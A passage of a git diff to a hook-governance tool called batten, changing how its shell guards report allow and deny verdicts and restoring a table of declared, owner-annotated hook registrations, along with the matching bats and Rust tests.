retired +# instead. +# +# And it cannot be retired yet. Three of its four families now live in +# `policy/run-shape.rego`; the fourth reads `mise.toml`'s task bodies, which no +# `mediated_call` row may do — `call_document` projects `Fact::Document` as +# `None`, and `sources` on a mediated row is refused at load. CLOUD-856 owns that. +# +# So the guard stays natively registered in `.claude/settings.json`, byte-identical, +# and moves behind the door in the change that retires it. Editing it to qualify +# for the door would be exactly the shrink-instead-of-retire the ratchet exists to +# refuse. # THE LAST NATIVE REGISTRATION (CLOUD-312 row 10). Ten existed when this campaign # started and the gate passed over all ten; this is the tenth, and the one that @@ -4958,13 +4925,13 @@ expires = "2027-02-28" # # FOUR FACTS MAKE THE MOVE BEHAVIOUR-PRESERVING, each read rather than assumed: # -# 1. stdout is EMPTY on the all-clear path — measured at 0 bytes over three -# runs. So the ordinary outcome is `Pass`, and the door is silent. It was 79 -# bytes until this change: `container-preflight` announced its own success on -# stdout, which behind the door is an advisory delivered every session whose -# whole content is "nothing is wrong". That line now goes to stderr, and the -# comment there records why. CLOUD-891 as a property of the surface rather -# than a habit, which is the door's own argument for interpreting stdout. +# 1. stdout carries 79 bytes on the all-clear path — `container-preflight` +# announces its own success there — which behind the door is an advisory +# delivered every session whose whole content is "nothing is wrong". Moving +# that line to stderr is an edit to a governed file, so it belongs to that +# file's retirement rather than to this move. Stated as a precondition of the +# move rather than as something already done: an earlier draft of this comment +# claimed the line "now goes to stderr", and it does not. # 2. A failure is exit 1 with `::error::` lines on stderr, which `interpret` # reads as `Outcome::Reported` — and that joins `Dispatched::advice()`, which # `AdvisoryReach` delivers on `SessionStart` for this host. So the failure @@ -4997,10 +4964,9 @@ expires = "2027-02-28" # dispatched from here would put the write and the clear inside one unordered # batch — a coin toss between the honest red and the false green the record # exists to refuse. `crates/batten/src/wiring.rs`'s header is the long form. -[[hook.handler]] -id = "session-start" -on = "session-start" -run = [".claude/hooks/session-start.sh"] -timeout_ms = 180000 -owner = "CLOUD-312" -expires = "2027-02-28" +# DEFERRED WITH ITS SIBLING, and for one reason only: moving it obliges +# `[hook] exclusive`, which is global, which obliges `run-shape-guard` behind the +# door too — and that one cannot go. Everything above is the read that will make +# the move behaviour-preserving when its sibling is ready; nothing in it is +# invalidated by waiting. `.claude/hooks/session-start.sh` is not a governed path, +# so this row costs nothing to defer and nothing to restore. diff --git a/crates/batten/tests/pipeline_shapes.rs b/crates/batten/tests/pipeline_shapes.rs index 4e923a8cf..721c8e499 100644 --- a/crates/batten/tests/pipeline_shapes.rs +++ b/crates/batten/tests/pipeline_shapes.rs @@ -129,25 +129,7 @@ fn an_and_chain_is_allowed_because_it_cannot_manufacture_a_green() { // `verify`'s own body is built from guarded chains for that property. assert_allowed("mise run fmt && mise run verify"); assert_allowed("git fetch origin main && git rebase origin/main"); - // THE CARGO ARM MOVED, AND WHY IT HAD TO IS WORTH THE LINES (CLOUD-312 row - // 11). It read `mise exec -- cargo build && mise exec -- cargo test`, which - // is the shape an author would reach for — and it started failing the moment - // `run-shape-guard` went behind the door, because these cases drive the REAL - // `batten.toml` and the handler is now dispatched by `batten hook`. That - // command is a weaker form of two declared tasks, so the handler denies it - // (CLOUD-822), correctly and for a reason this row has nothing to say about. - // - // This is the substitution `tests/run-shape-guard-door.bats`'s header warns - // about, running the other way round: there a handler's verdict could be - // supplied by an engine row, here an engine row's allow was masked by a - // handler's deny. Both are one config answering for two rules. - // - // So the fixture names a cargo subcommand NO task wraps, which is the case - // that deny message itself calls untouched — the `&&` property is this row's - // subject and the cargo family is only how it is spelled. If a task ever - // wraps `doc` or `bench`, this line fails and the fix is to pick another - // genuine one-off, never to weaken the handler. - assert_allowed("mise exec -- cargo doc && mise exec -- cargo bench"); + assert_allowed("mise exec -- cargo build && mise exec -- cargo test"); } #[test] diff --git a/crates/batten/tests/pointer_only.rs b/crates/batten/tests/pointer_only.rs index 46aa1679a..69e38f89c 100644 --- a/crates/batten/tests/pointer_only.rs +++ b/crates/batten/tests/pointer_only.rs @@ -792,7 +792,8 @@ const CENSUS: &[Verb] = &[ // command line off somebody's home directory, so every byte it reports is a // count plus the harness and event to look under — not a path, and not even // the offending command's basename. The at-load record it writes obeys the - // same rule, which `tests/wiring-reclaim.bats` asserts over the file itself. + // same rule, which `crates/batten/tests/wiring_reclaim.rs` asserts over the + // file itself. // // Driven with `-n`, which is the only invocation that reads the surfaces and // writes nothing: this corpus is a fixture tree, and a verb allowed to repair diff --git a/crates/batten/tests/preset_segments.rs b/crates/batten/tests/preset_segments.rs index 72cb47839..e81f66cc7 100644 --- a/crates/batten/tests/preset_segments.rs +++ b/crates/batten/tests/preset_segments.rs @@ -22,7 +22,7 @@ //! drift a corpus over the real config exists to catch. //! //! **The refusal's ATTRIBUTION is asserted, never just the exit code**, and that -//! is the lesson `tests/run-shape-guard-door.bats`'s header records: this +//! is the lesson `crates/batten/tests/run_shape_guard_door.rs`'s header records: this //! repository's own rows refuse commands in the same family, so an exit 2 alone //! would let some other row's verdict stand in for the preset's — coverage that //! has stopped testing the thing it names. diff --git a/mise-tasks/connector-allow-guard.sh b/mise-tasks/connector-allow-guard.sh index e211f2418..2a261c1b7 100755 --- a/mise-tasks/connector-allow-guard.sh +++ b/mise-tasks/connector-allow-guard.sh @@ -13,54 +13,19 @@ # work, and the issue's own Ready block refuses it. Nothing here is written, # cached, or persisted, so nothing has to land in time. # -# THE REPLY GOES TO BATTEN, NEVER TO THE HOST. This file is dispatched BY -# `batten hook` as a `[[hook.handler]]` row (CLOUD-312 row 5), and the door's -# third contract item is that stdout is INTERPRETED rather than forwarded: a -# `hookSpecificOutput` document written here is `Violation::ImpersonatedHost`, -# reported and dropped. It wrote one for its whole life behind the door. -# -# MEASURED 2026-08-26 on the live wiring, which is why this is a correction and -# not a tidy-up. A `send_later` call under a UUID alias made this guard emit its -# deny document; `batten hook` answered on stderr with `hook.handler -# connector-allow-guard: wrote a host decision document`, and the refusal that -# actually reached the host came from an unrelated engine row that happens to -# cover the same tool. EVERY deny in the committed table is covered that way -# today, which is exactly why a dropped verdict looked like a working one. -# -# So a refusal is exit 2 with its reason on stderr, and the engine renders it per -# harness — this file no longer knows or names Claude's spelling. -# # ALLOW IS A DECISION, not an omission — the same note `connector-verb-guard` # carries. Emitting nothing leaves the ordinary permission flow to prompt, which -# is exactly the failure during a UUID episode. -# -# AND THE DOOR CARRIES IT THROUGH `preapproves`, which is this row's own column -# in `batten.toml`. For one commit it did not: `hook.rs` encoded `deny` and `ask` -# and nothing else, and `AdvisoryReach` for this host does not list the pre-tool -# event — so the allow arm's text went to the engine's stderr, transcript-only, -# and the prompt CLOUD-191 exists to remove came back. That is what the column -# closes. -# -# NOTHING IN THIS FILE CHANGED TO GET IT, and that is the shape of the mechanism -# rather than a coincidence. Exit 0 with text on stdout is what this arm already -# printed; the ROW says whether that text is advice or a grant, because §7's exit -# table has no fourth code to spend and stdout's shape is already spoken for by -# the impersonation check. A row without the column behaves exactly as before. -# -# THE GRANT CANNOT OVERRULE A REFUSAL, enforced at the boundary rather than -# promised here: a pre-approval only ever upgrades a decision that was already an -# allow, so no verdict any rule reached can be spent by this arm. What it grants -# is a projection of a rule the operator already committed onto the name the host -# happens to be exposing — which is why it grants nothing new, and why it may. +# is exactly the failure during a UUID episode. Pre-approving needs +# `hookSpecificOutput.permissionDecision: "allow"` on stdout. # # `silence` is emitted as literally nothing, which is not the same as `allow`: it # hands the call back to the ordinary flow, so a name this file cannot resolve # behaves exactly as it does today. # -# FAILS OPEN on everything it cannot establish, and on -# BATTEN_CONNECTOR_ALLOW_BYPASS=1: every could-not-look path exits 0 silently, -# because exit 2 is the deny code behind the door as well as in front of it and a -# broken toolchain must not take that channel. +# Exit 0 always — a guard renders its verdict in the JSON, never in the status, +# because a non-zero exit is a DENY on this event and a broken toolchain must not +# take that channel. FAILS OPEN on everything it cannot establish, and on +# BATTEN_CONNECTOR_ALLOW_BYPASS=1. # # Pointer-only (non-negotiable 4): the reason names the alias and the verb, never # the live key and never the payload. @@ -74,16 +39,13 @@ set -uo pipefail [[ -n "${BATTEN_CONNECTOR_ALLOW_BYPASS:-}" ]] && exit 0 -# Mise's pinned jq does not reach this. Going behind the door did not change -# that: `batten hook` is itself invoked by the harness rather than through mise, -# so a dispatched handler inherits the harness's PATH exactly as a by-path -# registration did. Every read below fails open, so an absent parser would leave -# every call undecided — which is today's behaviour rather than a new hazard, but -# say so, because a guard that is silently checking nothing is the shape -# CLOUD-418 exists to refuse. +# Registered BY PATH, so mise's pinned jq does not reach this. Every read below +# fails open, so an absent parser would leave every call undecided — which is +# today's behaviour rather than a new hazard, but say so, because a guard that is +# silently checking nothing is the shape CLOUD-418 exists to refuse. #PIN-OK: jq if ! command -v jq >/dev/null 2>&1; then - echo "::error:: connector-allow-guard: no jq on PATH — this guard inherits the harness's PATH, not mise's, so mise's pinned jq does not reach it. It is translating NOTHING, and a flipped server name will prompt. Run: mise install" >&2 + echo "::error:: connector-allow-guard: no jq on PATH — this guard is registered by path, so it does not get mise's pinned jq. It is translating NOTHING, and a flipped server name will prompt. Run: mise install" >&2 exit 0 fi @@ -101,16 +63,14 @@ read -r verdict alias < <("$resolver" "$tool" 2>/dev/null) || exit 0 [[ -n "${verdict:-}" ]] || exit 0 decide() { # decide - case "$1" in - deny) - printf '%s\n' "$2" >&2 - exit 2 - ;; - *) - printf '%s\n' "$2" - exit 0 - ;; - esac + jq -n --arg d "$1" --arg r "$2" '{ + hookSpecificOutput: { + hookEventName: "PreToolUse", + permissionDecision: $d, + permissionDecisionReason: $r + } +}' + exit 0 } verb=${tool##*__} diff --git a/mise-tasks/hooks-wiring-check.sh b/mise-tasks/hooks-wiring-check.sh index 02588402d..1c047f1f9 100755 --- a/mise-tasks/hooks-wiring-check.sh +++ b/mise-tasks/hooks-wiring-check.sh @@ -174,51 +174,11 @@ gemini-cli .gemini/settings.json}" # The rest were six until CLOUD-777, whose widened scope could finally see them. # Their owners are not invented: CLOUD-312 is "the shell guards retire behind # it", whose scope CLOUD-777 widened from pre-tool to every point. -# THE TABLE IS NOW EMPTY, WHICH IS THE CAMPAIGN FINISHING RATHER THAN THE GATE -# RELAXING (CLOUD-312 row 10, CLOUD-605). -# -# Two removals, in one change, for two different reasons: -# -# `.claude/hooks/session-start.sh` was the last native registration this -# repository owned. It is a `[[hook.handler]]` row now, so its declaration would -# be stale by the rule directly below — the DIRECTION that paragraph names, -# applied to itself. -# -# The two CLOUD-605 basenames went because **`batten wiring reclaim` gives them a -# remedy a row could not.** Read what they were for: they existed because these are -# launcher-provisioned files under `$HOME` "that this repository cannot delete", -# so the most a row could do was make an invisible registration visible and name -# who would eventually remove it. The verb removes them: measured on this -# container, two registrations found, two removed, the surface left carrying -# `"hooks": {}` and every other key untouched. -# -# BUT THE REPAIR DOES NOT SURVIVE A SESSION BOUNDARY, and saying so is the point -# of this paragraph rather than a caveat on it. Measured across a real restart: -# the reclaim removed both, and the next session read them BACK with the at-load -# record already cleared — because the launcher re-provisions its settings at -# session start and `batten hook`'s own `SessionStart` expires the record at the -# same instant. The repair and its erasure are one event, so there is no -# in-session route to green and reclaiming again only exchanges one honest red -# (`wiring-sibling-command` twice) for another (`wiring-repair-unloaded`). -# -# So the remedy is NOT "one command", which an earlier draft of this comment -# claimed. It is one command plus an owner action on whatever generates those -# `$HOME` settings — CLOUD-605's, outside this repository. What the verb buys is -# that the violation is now repairable and reported rather than merely declared; -# what it does not buy is that it stays repaired. -# -# THIS IS NOT A GATE BEING WEAKENED TO SUIT A CHANGE, and the distinction is worth -# stating because it is exactly the move that would be. A row here has excused -# nothing since CLOUD-893 flipped it — "a DECLARED row records who retires it and -# no longer excuses it" — so deleting one cannot make any sibling pass. What is -# lost is a pointer: on a fresh container the launcher provisions those two again -# and the gate reports them with no owner named. That is a real cost and a small -# one, because the remedy is no longer "wait for CLOUD-605", it is one command. -# -# The affordance stays for the next consumer that needs it, and every case in -# `tests/hooks-wiring-check.bats` sets `DECLARED` itself, so the rules over this -# column are exercised exactly as before an empty default. -DECLARED="${HOOKS_WIRING_DECLARED-}" +DECLARED="${HOOKS_WIRING_DECLARED- +.claude/hooks/session-start.sh CLOUD-312 +mise-tasks/run-shape-guard.sh CLOUD-821 +stop-hook-git-check.sh CLOUD-605 +session-start-git-identity.sh CLOUD-605}" violations=0 report() { # pointer-only (rule 4): the file, the event, the rule id @@ -271,33 +231,6 @@ fi registrations=$(jq -r '[.harnesses[].registrations] | add // 0' <<<"$diagnosis") diagnosed=$(jq -r '.harnesses[].harness' <<<"$diagnosis") -# THE SUBJECT OF THIS GATE IS THE RECORD, NOT ONLY THE DISK (CLOUD-893). -# -# A harness reads its hook wiring once, when a session starts. So `batten wiring -# reclaim` changes what is on disk and cannot change what the running host has -# already loaded — and a gate that read only the disk would go green one moment -# after the repair, over a runtime still dispatching every sibling that was just -# deleted. That is a manufactured false green, and strictly worse than the -# expiring waiver table CLOUD-893 removed: a waiver at least says what it excuses. -# -# So the reclaim writes an AT-LOAD record before it edits a byte, `doctor hooks` -# reports its total as `at_load_siblings`, and this reads that number FIRST. Two -# states the disk cannot tell apart: -# -# * `null` — no repair recorded. Read the disk; the loops below do exactly that. -# * `0` — a repair ran and found nothing. The disk is also the answer. -# * `n > 0` — this session loaded `n` siblings that are no longer on disk. RED, -# naming the restart, because nothing else can distinguish it from -# a clean tree. -# -# `batten hook` on `SessionStart` expires the record, which is the one moment the -# two are the same by definition — so the next session's run of this gate reads -# the disk again and goes green if the repair held. -at_load=$(jq -r '.at_load_siblings // 0' <<<"$diagnosis") -if [[ "$at_load" =~ ^[0-9]+$ ]] && [[ "$at_load" -gt 0 ]]; then - report "hooks-wiring-check:at-load:$at_load" "wiring-repair-unloaded" -fi - # THE LAUNCHER INDIRECTION IS RESOLVED HERE, WHICH IS THE WHOLE REASON THIS FILE # STILL EXISTS AS A GATE. The core compares a committed command against the # neutral `batten hook --harness ` it emits, and it cannot do otherwise: @@ -325,19 +258,10 @@ while read -r harness event reason; do continue fi fi - # THE ENGINE'S SIBLING FINDINGS ARE NOT RELAYED, because this file reports - # the same fact better (CLOUD-893). Under `[hook] exclusive` the engine emits - # `hook-wiring-sibling-registered` and `hook-wiring-merged-sibling`, and it - # must stay pointer-only: a sibling's command line carries a path, and rule 4 - # forbids the ENGINE from emitting one. A consumer's own gate is under no such - # constraint over its own repository, so the loop below names the command and - # the issue that retires it — strictly more than the relay could say. - # - # Measured before this arm existed: 20 violations for 10 registrations, each - # reported once bare and once with its command. A doubled count is not a - # louder gate, it is a gate whose arithmetic a reader has to correct. + # A MERGED finding is not about the committed file, so it must not be + # reported against its path (CLOUD-525 §5). It names the harness, the word + # `merged` and the event — stable strings, and no path on either side. case "$reason" in - hook-wiring-sibling-registered | hook-wiring-merged-sibling) continue ;; hook-wiring-merged-*) report "$harness:merged:$event" "${reason#hook-}" ;; *) report "$wiring:$event" "${reason#hook-}" ;; esac @@ -470,38 +394,17 @@ while read -r harness wiring launcher; do siblings="${siblings:+$siblings$'\n'}$merged_siblings" done <<<"$MERGED" - # A DECLARED ROW ANNOTATES THE FAILURE AND NO LONGER SUPPRESSES IT (CLOUD-893). - # - # This loop used to skip `wiring-sibling-command` for any command a `DECLARED` - # row matched. The table was written as diligence — every sibling named beside - # the issue that would retire it — and functioned as a permanent exemption: - # measured 2026-08-25, ten registrations, ten rows, this gate exit 0 and - # `batten doctor hooks` `ok: true` over the exact state the one-registration - # decision refuses. - # - # The direction is what makes it inadmissible rather than merely lenient. A - # declaration that ADDS a refusal is raise-only (house-style §8) and cannot - # weaken policy; one that REMOVES a refusal reads identically in the file and - # does the opposite. `[hook] exclusive` in `batten.toml` is the first kind and - # is where the decision now lives; this table keeps only the half that was - # always honest, which is WHO retires each entry. - # - # So the ownership rules below are not vestigial — they are the whole point of - # keeping the table. `-unowned` refuses a row naming nobody, `-stale` refuses - # one naming a command nothing registers, and `-closed-owner` refuses one whose - # issue is already closed. Each says something about the retirement; none of - # them says the registration is allowed. while IFS=$'\t' read -r where event command; do [[ -n "$command" ]] || continue # Substring rather than equality: the committed commands carry the host's # `$CLAUDE_PROJECT_DIR` prefix unexpanded, and a declaration should name # the task rather than restate a path the host owns. - owner="" + declared=0 while read -r pattern key; do [[ -n "$pattern" ]] || continue case "$command" in *"$pattern"*) - owner="$key" + declared=1 # A declaration with no owner is worse than none: it reads as a # decision someone made and records nobody to ask. case "$key" in @@ -511,9 +414,8 @@ while read -r harness wiring launcher; do ;; esac done <<<"$DECLARED" - # Reported either way. The owner rides along when one is declared, so the - # pointer still answers "who retires this" without answering "may it stay". - report "$where:$event:$command${owner:+ (retires with $owner)}" "wiring-sibling-command" + [[ "$declared" == 1 ]] || + report "$where:$event:$command" "wiring-sibling-command" done <<<"$siblings" # The other direction: a declared row that matches nothing wired IN THIS FILE. @@ -552,8 +454,8 @@ while read -r harness wiring launcher; do done <<<"$HARNESSES" if [[ "$violations" -ne 0 ]]; then - echo "::error:: hooks-wiring-check: $violations wiring violation(s) above. For an entry that IS batten's, the derivation is the authority: edit the wiring, or the rows in crates/batten/src/hook.rs if the derivation is what is wrong — \`batten doctor hooks\` is the same read without this file's consumer-side table. For a \`wiring-sibling-command\`, \`batten hook\` is the only command this repository registers natively: move the program BEHIND the engine — a \`[[hook.handler]]\` row in batten.toml if it must keep running, a policy row if its decision can be expressed as one — and delete the registration. A DECLARED row records who retires it and no longer excuses it; adding one changes the pointer and not the verdict. A \`wiring-repair-unloaded\` is not a wiring defect at all: \`batten wiring reclaim\` has already removed that many registrations from a merged surface and this session is still running them, so restart the harness — the record expires at the next SessionStart and this gate reads the disk again." >&2 + echo "::error:: hooks-wiring-check: $violations wiring violation(s) above. For an entry that IS batten's, the derivation is the authority: edit the wiring, or the rows in crates/batten/src/hook.rs if the derivation is what is wrong — \`batten doctor hooks\` is the same read without this file's consumer-side table. For a \`wiring-sibling-command\`, the engine registers ONE command per event and adjudicates from batten.toml — retire the guard behind it (CLOUD-312), or add a declared row here naming the issue that will." >&2 exit 1 fi -echo "hooks-wiring-check: $registrations \`batten hook\` registration(s) across $(grep -c . <<<"$diagnosed") harness(es) agree with the derivation — one per emitted event, no matcher — and nothing else is registered natively" +echo "hooks-wiring-check: $registrations \`batten hook\` registration(s) across $(grep -c . <<<"$diagnosed") harness(es) agree with the derivation — one per emitted event, no matcher — and every other command names the issue retiring it" diff --git a/mise-tasks/run-shape-guard.sh b/mise-tasks/run-shape-guard.sh index 0ab282e3c..7944c6184 100755 --- a/mise-tasks/run-shape-guard.sh +++ b/mise-tasks/run-shape-guard.sh @@ -81,21 +81,12 @@ # # Fails OPEN on anything it cannot parse, and honours BATTEN_RUN_SHAPE_BYPASS=1. # -# DISPATCHED BY `batten hook` as a `[[hook.handler]]` row narrowed to `Bash`, -# never registered beside it. `.claude/settings.json` carries exactly one command -# per event and `[hook] exclusive` refuses anything else, so the door is not a -# style preference here — it is the only way this file runs at all. Registered by -# path it was, until CLOUD-312 row 4; before CLOUD-821 it was not registered +# REGISTERED BY PATH on `PreToolUse`/`Bash` in `.claude/settings.json`, with its +# owning row in `hooks-wiring-check`'s `DECLARED` table. It was not registered # anywhere for the first 267 lines of its life — `git log -S` over that file -# returns nothing — so every rule below, and AGENTS.md's claim to be gated by -# them, was prose. That is non-negotiable rule 2 failing one level up: the -# mechanism landed and the wiring did not. -# -# The bound, the central fail-open, the stated output shape and one reply per -# call are the parent's now. What it does NOT change is the fact this guard is -# built on: the handler receives the host's own payload, so `run_in_background` -# — the property of the CALL rather than of the command string, and the reason -# this predicate cannot be a `mediated_call` row — is still there to read. +# returns nothing before CLOUD-821 — so every rule below, and AGENTS.md's claim +# to be gated by them, was prose. That is non-negotiable rule 2 failing one +# level up: the mechanism landed and the wiring did not. # #MUTANT commit-stdin-unchecked|s@^COMMIT_STDIN=.*@COMMIT_STDIN="ZZZNEVERMATCHES"@|THE MEASURED SHAPE: the heredoc binds to a later element # @@ -225,21 +216,18 @@ resolve() { printf '%s %s %s' "$prog" "${words[0]:-}" "${words[1]:-}" } -# THE REASON ON STDERR, EXIT 2 — the handler contract, not a host's document. -# This guard is dispatched BY `batten hook` (CLOUD-312 row 4), where stdout is -# INTERPRETED rather than forwarded: a `hookSpecificOutput` object written here -# is `Violation::ImpersonatedHost`, reported and dropped. `connector-allow-guard` -# went through this door still writing one and every verdict it produced was -# discarded, measured 2026-08-26 — so this is the one part of the migration that -# is not a config edit. -# -# What that buys, beyond not being dropped: no escaping. The reason is bytes on a -# stream, so the three substitutions this used to need — backslashes first, or -# the escapes get escaped again — are gone rather than moved, and with them the -# whole class of defect that made them necessary. +# A deny document on stdout with exit 0 — the in-band channel this host reads. +# Hand-escaped rather than built with `jq -n` for the reason above: a by-path +# registration cannot depend on a pinned tool. `fanout-guard`'s `decide()` is +# the same three substitutions in the same order, and the order matters — +# backslashes first, or the escapes this adds get escaped again. deny() { - printf '%s\n' "$1" >&2 - exit 2 + local reason="$1" escaped + escaped=${reason//\\/\\\\} + escaped=${escaped//\"/\\\"} + escaped=${escaped//$'\n'/\\n} + printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"%s"}}\n' "$escaped" + exit 0 } # --- split into LIST elements, remembering the separator ---------------------- diff --git a/tests/connector-allow-guard.bats b/tests/connector-allow-guard.bats index b5c23d7d9..670b16b60 100644 --- a/tests/connector-allow-guard.bats +++ b/tests/connector-allow-guard.bats @@ -4,26 +4,12 @@ # and its degradations are that file's suite; this one grades the envelope — that # a verdict reaches the host in the shape the host acts on. # -# THE DISTINCTION THIS SUITE EXISTS FOR is `allow` versus nothing. Saying -# nothing is not a permissive answer, it is an absent one: the ordinary -# permission flow then prompts, which is exactly the failure during a UUID -# episode. So a row that asserts "did not deny" would pass on a guard that -# decides nothing at all. Every row here reads the guard's answer and treats -# silence as its own third value. -# -# THE ANSWER IS READ UNDER THE HANDLER CONTRACT, not out of a host document, and -# that is the correction this suite carries. The guard is dispatched by `batten -# hook` (CLOUD-312 row 5), where a `hookSpecificOutput` object on stdout is -# `Violation::ImpersonatedHost` — reported and dropped. Reading the document was -# how the suite stayed green over a guard whose every verdict the door was -# discarding: measured 2026-08-26 on the live wiring. So a refusal is exit 2 with -# its reason on stderr, an allow is advisory text on stdout, and silence is -# exit 0 with neither. -# -# `tests/connector-allow-door.bats` is the second tier over the compiled binary, -# and it is the one that would have caught this: a `with input as` style row — -# and this file's `run ` is the bash equivalent — fabricates the very -# shape the engine may be unable to consume. +# THE DISTINCTION THIS SUITE EXISTS FOR is `allow` versus nothing. Emitting no +# JSON is not a permissive answer, it is an absent one: the ordinary permission +# flow then prompts, which is exactly the failure during a UUID episode. So a row +# that asserts "did not deny" would pass on a guard that decides nothing at all. +# Every row here reads the emitted `permissionDecision` and treats no-output as +# its own third value. setup() { GUARD="$BATS_TEST_DIRNAME/../mise-tasks/connector-allow-guard.sh" @@ -56,28 +42,14 @@ payload() { printf '%s\n' "$BATS_TEST_TMPDIR/payload.json" } -# The three answers a handler can give, read the way the door reads them. stderr -# is kept SEPARATE from stdout — bats merges them into `$output` by default, and -# a merged stream cannot tell a refusal's reason from an advisory. decision() { - run bash -c "'$GUARD' <'$(payload "$1")' >'$BATS_TEST_TMPDIR/out' 2>'$BATS_TEST_TMPDIR/err'" - REASON_OUT=$(cat "$BATS_TEST_TMPDIR/out") - REASON_ERR=$(cat "$BATS_TEST_TMPDIR/err") - if [ "$status" -eq 2 ] && [ -n "$REASON_ERR" ]; then - printf 'deny\n' - return 0 - fi + run bash -c "'$GUARD' <'$(payload "$1")'" [ "$status" -eq 0 ] - if [ -z "$REASON_OUT" ]; then + if [ -z "$output" ]; then printf 'none\n' return 0 fi - # Non-negotiable: an advisory must not BE a host document, or the door drops - # it. Asserted here rather than only in the door suite, because this is the - # shape every migrated handler gets wrong the same way. - [[ "$REASON_OUT" != *hookSpecificOutput* ]] - [[ "$REASON_OUT" != *permissionDecision* ]] - printf 'allow\n' + jq -r '.hookSpecificOutput.permissionDecision' <<<"$output" } @test "a committed allow is emitted as an allow under a flipped name" { @@ -103,23 +75,15 @@ decision() { } @test "the emitted envelope names the PreToolUse event" { - # WHAT THIS ROW ASSERTS CHANGED WITH THE CHANNEL, and the row is kept rather - # than deleted because the property behind it survives: the guard must not - # name a host's event spelling AT ALL now. Naming `PreToolUse` was correct - # while it wrote the host's document and is the impersonation the door drops - # now that it does not. Same question — is the envelope right for where this - # answer goes — with the right answer for where it goes today. - run bash -c "'$GUARD' <'$(payload mcp__bbbbbbbb-5555-6666-7777-888888888888__create_session)' 2>/dev/null" + run bash -c "'$GUARD' <'$(payload mcp__bbbbbbbb-5555-6666-7777-888888888888__create_session)'" [ "$status" -eq 0 ] - [ -n "$output" ] - [[ "$output" != *PreToolUse* ]] - [[ "$output" != *hookEventName* ]] + [ "$(jq -r '.hookSpecificOutput.hookEventName' <<<"$output")" = PreToolUse ] } @test "the reason is pointer-only: it names the alias and the verb, never the live key" { - run bash -c "'$GUARD' <'$(payload mcp__bbbbbbbb-5555-6666-7777-888888888888__send_later)' 2>&1 >/dev/null" - [ "$status" -eq 2 ] - reason="$output" + run bash -c "'$GUARD' <'$(payload mcp__bbbbbbbb-5555-6666-7777-888888888888__send_later)'" + [ "$status" -eq 0 ] + reason=$(jq -r '.hookSpecificOutput.permissionDecisionReason' <<<"$output") [[ "$reason" == *Claude_Code_Remote* ]] [[ "$reason" == *send_later* ]] # Non-negotiable 4: the key is the payload here, and must not travel. diff --git a/tests/hooks-wiring-check.bats b/tests/hooks-wiring-check.bats index 07fb05abd..d74da2613 100644 --- a/tests/hooks-wiring-check.bats +++ b/tests/hooks-wiring-check.bats @@ -350,69 +350,6 @@ codex-cli $ROOT/.codex/hooks.json -" [ "$status" -eq 2 ] } -# THE ARM THAT STOPS THE REPAIR EATING ITS OWN EVIDENCE (CLOUD-893). -# -# `batten wiring reclaim` removes non-batten registrations from a merged surface. -# A harness reads its wiring once, at session start, so the repair changes the -# DISK and cannot change what the running host has already loaded — and a gate -# reading only the disk would go green one moment after the repair, over a runtime -# still dispatching every sibling that was just deleted. That is a manufactured -# false green, and strictly worse than the waiver table CLOUD-893 removed. -# -# Driven through `HOOKS_WIRING_DIAGNOSIS`, which is the seam this file already -# uses for every decision the gate makes about a document rather than about a -# file: the record lives under `$GIT_DIR` and is the ENGINE's to read, so the -# thing under test here is what this gate does with the number, not where the -# number came from. `tests/wiring-reclaim.bats` owns the other half. -# The table is narrowed to ONE harness that the stub also declares, because the -# census this gate runs afterwards requires every harness the TABLE names to -# appear in the diagnosis. A stub emitting an empty harness list against the -# default five-row table reports five `wiring-harness-unknown` findings, and the -# exit status then says nothing about the arm under test — the first draft of -# these cases went red and green on that noise rather than on the record. -# -# Narrowed through `HARNESSES`, which is this suite's own seam. An env-prefixed -# `HOOKS_WIRING_HARNESSES` does not reach the gate at all: `gate` sets that -# variable itself from `HARNESSES`, so the prefix is overwritten one frame down — -# which is a silent no-op, and was the second wrong turn here. -record_only() { # record_only - HARNESSES="claude-code $WIRING -" \ - HOOKS_WIRING_DIAGNOSIS="echo {\"harnesses\":[{\"harness\":\"claude-code\",\"registrations\":1,\"findings\":[]}]$1}" \ - run gate -} - -@test "a recorded repair this session has not loaded is RED, not a clean tree" { - # The whole point: zero live siblings — a disk that looks perfect — and a - # record saying two were loaded. The two cannot be told apart from the disk, - # which is why the record exists. - record_only ',"at_load_siblings":2' - [ "$status" -eq 1 ] - [[ "$output" == *"wiring-repair-unloaded"* ]] - # The count travels so the reader knows the size of the gap, and no path does. - [[ "$output" == *"at-load:2"* ]] - [[ "$output" == *"restart the harness"* ]] - # One finding, so the red is this arm's and not something else's. - [[ "$output" == *"1 wiring violation(s)"* ]] -} - -@test "a repair that found nothing is not a restart, and no record is not either" { - # The two states that must stay APART from the one above, and from each other - # in intent: `0` means a reclaim ran and had nothing to do, `null` means none - # has run. Both say read the disk, and neither is a finding — collapsing either - # into the red arm would make the gate permanently red after any reclaim. - record_only ',"at_load_siblings":0' - [ "$status" -eq 0 ] - [[ "$output" != *"wiring-repair-unloaded"* ]] - record_only ',"at_load_siblings":null' - [ "$status" -eq 0 ] - [[ "$output" != *"wiring-repair-unloaded"* ]] - # And an engine too old to carry the field at all is the same answer rather - # than an error, because the absent key and a null one mean the same thing. - record_only '' - [ "$status" -eq 0 ] - [[ "$output" != *"wiring-repair-unloaded"* ]] -} - @test "every registration is judged, so one run names them all" { complete_wiring 'batten hoook --harness claude-code' run gate @@ -536,21 +473,11 @@ with_sibling() { # [[ "$output" == *"issue-read-guard"* ]] } -@test "a declared sibling still FAILS, and the declaration names who retires it" { - # THE FLIP (CLOUD-893). This case asserted status 0 for its whole life, and it - # is the executable statement of the policy being reversed: a `DECLARED` row - # suppressed the refusal, so ten rows bought a green over ten registrations the - # one-registration decision refuses. - # - # What survives is the ownership column. The row still says who retires the - # command — that half was always honest — and it now rides along in the pointer - # instead of standing in for a verdict. +@test "a declared sibling passes, and the declaration names who retires it" { DECLARED="mise-tasks/issue-read-guard.sh CLOUD-312" with_sibling PreToolUse '$CLAUDE_PROJECT_DIR/mise-tasks/issue-read-guard.sh' run gate - [ "$status" -eq 1 ] - [[ "$output" == *"wiring-sibling-command"* ]] - [[ "$output" == *"retires with CLOUD-312"* ]] + [ "$status" -eq 0 ] } @test "a declaration naming no issue is itself a violation, so the hatch is never silent" { @@ -600,30 +527,17 @@ with_sibling() { # [[ "$output" != *"$FIXTURE_HOME"* ]] } -@test "CLOUD-525 (b): the same registration declared with an owner still FAILS" { - # REVERSED (CLOUD-893). This case read: "A census, not a demand. The launcher's - # registrations are re-provisioned mid-session and cannot be deleted from here, - # so they are RECORDED with an owner … and no run goes red 